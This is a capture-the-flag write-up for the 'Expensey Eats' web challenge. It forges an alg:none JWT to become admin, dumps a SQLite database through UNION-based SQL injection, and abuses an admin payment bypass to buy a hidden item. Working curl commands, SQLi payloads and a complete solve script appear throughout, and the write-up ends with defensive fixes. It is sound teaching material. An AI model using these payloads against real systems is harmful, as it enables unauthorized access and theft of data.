Challenge: Expensey Eats · CTF: DalCTF 2026 · Category: Web · Difficulty: Medium

TL;DR

Three bugs, one chain:

  1. alg:none JWT forgery → become the admin user.
  2. UNION-based SQL injection in the admin food search → map the database and discover a hidden $99,999 vault dish.
  3. Broken authorization in the order flow → the admin role skips both the balance check and the hidden-item check, so the admin can “buy” the vault dish for free. The flag is returned in a one-time flash message, not stored anywhere in the database.

Flag: dalctf{7h4t_w45_3xp3n5Iv3_4f}


Recon

We’re handed a single URL:

1
https://dalctf-expensey-eats-277-64616c.instancer.dalctf2026.com/

A quick look at the response headers tells us what we’re dealing with:

1
2
3
HTTP/2 200
server: gunicorn
content-type: text/html; charset=utf-8

gunicorn → a Python web app, almost certainly Flask. The landing page is a tongue-in-cheek luxury food-delivery site (“premium hunger, premium invoice”) with Login and Create account links.

Probing common paths gives us the shape of the app:

1
2
3
4
200  /login
200  /register
302  /menu       -> /login?next=/menu
302  /admin      -> /login?next=/admin

So there’s a /menu and an /admin area, both gated behind authentication. The registration form is interesting:

1
2
3
4
5
6
<label>Role
  <select name="role">
    <option value="customer">Customer</option>
    <option value="restaurant">Restaurant</option>
  </select>
</label>

“Admin accounts are not available from public registration.”

Naturally, the first thing to try is registering with role=admin:

1
2
curl -s -k "$B/register" \
  -d "username=hacker1&email=h1@x.com&password=Passw0rd!&role=admin"
1
<div class="flash danger">You cannot create that role here.</div>

Blocked. Fine — we register a normal customer and log in instead.


The login response is a goldmine

Logging in sets two cookies:

1
2
set-cookie: auth_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiI1Iiwi...; HttpOnly
set-cookie: session=.eJyrVopP...; HttpOnly

The session cookie is a standard signed Flask session. But auth_token is a JWT — and the header is already screaming at us. Decoding the two Base64URL segments:

1
2
3
4
5
// header
{"alg":"none","typ":"JWT"}

// payload
{"sub":"5","is_admin":false,"exp":1780782524,"iat":1780778924}

"alg":"none" with an empty signature (note the trailing dot and nothing after it). This is the textbook JWT none-algorithm vulnerability: if the server accepts alg: none, anybody can mint a token with any claims they like, because no signature is verified.

We have a sub (subject / user id) and an is_admin boolean. Let’s flip is_admin to true.


Bug #1 — Forging an admin JWT

A tiny helper to Base64URL-encode JSON without padding:

1
2
3
4
5
b64url(){ python3 -c "import base64,sys;print(base64.urlsafe_b64encode(sys.argv[1].encode()).decode().rstrip('='))" "$1"; }

H=$(b64url '{"alg":"none","typ":"JWT"}')
P=$(b64url '{"sub":"5","is_admin":true,"exp":1780782524,"iat":1780778924}')
TOK="$H.$P."          # <-- trailing dot = empty signature

First attempt against /admin403 Forbidden. Confusing — the token was accepted (we get logged in), but admin is still denied.

The gotcha: I was sending both cookies. The app prefers the signed Flask session cookie when it’s present, and that session belongs to a plain customer. Drop the session cookie and send only the forged JWT:

1
2
3
# sub=1 is almost certainly the seeded admin account
P=$(b64url '{"sub":"1","is_admin":true,"exp":1780782524,"iat":1780778924}')
curl -s -k --cookie "auth_token=$H.$P." "$B/admin"
1
sub=1 -> /admin 200

We’re in the admin panel.

Lesson: when two auth mechanisms coexist, test them in isolation. A “fix” on one path means nothing if the other path still trusts attacker-controlled input.


Inside the admin panel

The admin dashboard exposes Users, Restaurants, Food Items, and Orders. The user table confirms our forged identity worked and lists the seeded accounts:

1
2
3
4
5
1:admin       (admin)
2:casey       (customer)  balance 5.0
3:truffle_tower (restaurant)
4:gold_leaf_grill (restaurant)
5:hacker1     (customer)  balance 5.0

No flag in plain sight. But the Food Items section has a search box:

1
2
3
<form class="inline-control admin-lookup" method="get">
  <input name="food_lookup" placeholder="Type a letter to search foods">
</form>

Any time a CTF web app hands you a search field labelled “type a letter to look up…”, it’s an invitation. We test it.

A baseline search food_lookup=a returns matching dishes. Now the classic:

1
food_lookup=a' OR '1'='1
1
<tr><td>7</td><td>Flag Foie Fantasia</td><td>Truffle Tower</td><td>$99999.00</td><td>1</td></tr>

A hidden dish appears that the normal listing never shows — “Flag Foie Fantasia”, id 7, $99,999. SQL injection confirmed, and it just leaked something the UI was trying to hide.


Bug #2 — UNION-based SQL injection

The injection sits inside a LIKE clause, roughly:

1
SELECT ... FROM foods WHERE name LIKE '%' || '<input>' || '%'

Quirk: the trailing wildcard

My first ORDER BY/UNION attempts returned “No foods matched”. The reason is the trailing %:

1
... name LIKE '%Flag' ORDER BY 1-- -%'

Commenting out the rest with -- - also kills the closing %', turning the pattern into '%Flag' (must end in “Flag”), which matches nothing. The fix is to add our own wildcard:

1
Flag%' ORDER BY 1-- -

Counting columns

ORDER BY n tells us the query has 9 columns (it breaks at 10):

1
2
ORDER BY 9  -> OK
ORDER BY 10 -> empty / error

Mapping columns to the table

A 9-column UNION with string markers rendered nothing, because the template doesn’t print all 9 columns and it’s picky about types (it formats price with $%.2f, which throws on a string). Using typed markers instead reveals exactly which positions are displayed:

1
zzz%' UNION SELECT 100,'NAMEHERE','REST',1.5,9,7,8,9,10-- -

renders as:

1
<tr><td>100</td><td>REST</td><td>10</td><td>$9.00</td><td>8</td></tr>

Decoding the mapping:

Display columnSource position
ID1
Name3
Price5
Stock7
Restaurant9

So column 3 is our exfiltration channel. Anything we put there shows up in the “Name” cell.

Dumping the database

With a reliable channel, we enumerate everything:

1
2
-- tables
zzz%' UNION SELECT 1,2,(SELECT group_concat(name,' | ') FROM sqlite_master WHERE type='table'),4,5,6,7,8,9-- -
1
users | sqlite_sequence | restaurants | foods | purchases

It’s SQLite. Pulling each table’s columns:

1
2
3
4
users:       id,username,email,password_hash,role,balance,restaurant_id,created_at
foods:       id,restaurant_id,name,description,price,is_hidden,stock,created_at
purchases:   id,user_id,food_id,quantity,status,delivery_note,created_at
restaurants: id,name,tagline,owner_user_id,created_at

We dump everything looking for the flag — password_hash (scrypt, not crackable in CTF time), delivery_note, tagline, and crucially the description of dish #7:

1
Flag Foie Fantasia :: Chef's vault course. Access granted after purchase.

There is no dalctf{...} anywhere in the database. The flag isn’t stored — it’s generated when you successfully purchase the vault dish. That reframes the whole challenge.

Things I ruled out along the way:

  • Stacked queries ('; UPDATE users SET balance=...) → HTTP 500. Python’s sqlite3.execute() runs one statement only.
  • The admin user-edit form (POST /admin/users/<id>) is properly parameterized — injecting into the username field just stored the payload as a literal string. No SQLi there.
  • Mass-assigning balance on that form → ignored (not a writable field).

The purchase problem

To buy “Flag Foie Fantasia” we hit two walls:

1
2
curl -s -i -k --cookie "auth_token=$CUSTOMER_TOKEN" -X POST "$B/order/7"
# location: /menu?broke=1
  1. Money. It costs $99,999; every account has $5.
  2. Visibility. It’s is_hidden=1, and the order endpoint refuses hidden items for normal users.

There’s no top-up / deposit / refund endpoint (enumerated and confirmed). The quantity parameter is ignored server-side (fixed at 1), so no negative-quantity money trick. Restaurants don’t get paid out either, so there’s no way to farm balance.

The restaurant owner angle (a near miss)

sub=3 (truffle_tower) owns the restaurant that serves dish #7. Logging in as that owner reveals /restaurant, with the ability to edit menu items (/restaurant/foods/7) and update order statuses (/orders/<id>/status).

I tried to lower dish #7’s price to $1 so a customer could afford it:

1
2
curl -s -k --cookie "auth_token=$REST_TOKEN" -X POST "$B/restaurant/foods/7" \
  -d "name=Flag Foie Fantasia&price=1&stock=99&description=..."

stock updated to 99, but price stayed at 99999 — testing on a normal dish confirmed the route silently ignores price edits entirely. Dead end. Marking the existing order delivered didn’t write a flag into delivery_note either.

The actual key: the admin bypass

Recall that when we ordered dish #7 as the forged admin, the response was different:

1
sub=1 order/7 -> location: /menu      (no broke=1!)

It worked. A purchases row appeared: user_id=1, food_id=7, status=ordered. The admin role skips both the balance check and the hidden-item check — broken function-level authorization. So the admin can purchase the $99,999 vault dish with a $0 balance.

But the order row’s delivery_note was empty, and the dashboard showed no flag. So where did the “access granted” message go?


Bug #3 — The flag lives in a flash message

Flask’s flash() stores one-time messages in the session cookie, displayed on the next page render and then cleared. When the admin POSTed /order/7, the server set a flash and 302-redirected to /menu. If you don’t carry the freshly-set session cookie through the redirect, you never see it.

So we capture the session cookie from the POST and replay it on the follow-up GET:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
B="https://dalctf-expensey-eats-277-64616c.instancer.dalctf2026.com"
b64url(){ python3 -c "import base64,sys;print(base64.urlsafe_b64encode(sys.argv[1].encode()).decode().rstrip('='))" "$1"; }
H=$(b64url '{"alg":"none","typ":"JWT"}')
A=$(b64url '{"sub":"1","is_admin":true,"exp":1780782524,"iat":1780778924}')
ATOK="$H.$A."

# 1) Buy the vault dish as the forged admin, saving the session cookie it sets
curl -s -k -c jar.txt --cookie "auth_token=$ATOK" -X POST "$B/order/7"

# 2) Render /menu WITH that session cookie to read the one-time flash
curl -s -k -b jar.txt --cookie "auth_token=$ATOK" "$B/menu" \
  | grep -aioE 'flash [a-z]+">[^<]*|dalctf\{[^}]*\}'
1
2
flash success">Ordered 1 x Flag Foie Fantasia.
dalctf{7h4t_w45_3xp3n5Iv3_4f}

🎉


The flag

1
dalctf{7h4t_w45_3xp3n5Iv3_4f}

(“that was expensive af” — fitting.)


Why this was a fun chain

Each bug on its own is a known classic, but the challenge forces you to compose them and, more importantly, to change your mental model mid-solve:

  • The alg:none JWT gets you in.
  • The SQLi tempts you to think the flag is in the database — and it deliberately isn’t. The DB dump’s real value is intel: it reveals the hidden dish, the is_hidden flag, and the purchase mechanic.
  • The real finish is an authorization bug (admin skips payment) plus an understanding of Flask flash messages living in the session cookie. If you don’t follow the redirect with the right cookie, you stare at an empty delivery_note and assume you failed.

The “expensive” theme is the hint all along: the whole puzzle is about paying for something you can’t afford — and the answer is to abuse the role that never has to pay.


Defensive takeaways

BugFix
alg:none JWT acceptedPin the expected algorithm server-side; reject none; verify signatures with a secret. Don’t run two auth systems that disagree.
SQL injection in searchUse parameterized queries everywhere — the app already did for the user-edit form, just not for food_lookup.
Admin bypasses payment + hidden checksAuthorization checks (balance, visibility, ownership) must apply to every role. “Admin” should mean more scrutiny on money-moving actions, not a free pass.
Secret in a flash messageDon’t gate secrets on a payment that privileged roles can skip; enforce the business rule (funds actually deducted) before granting access.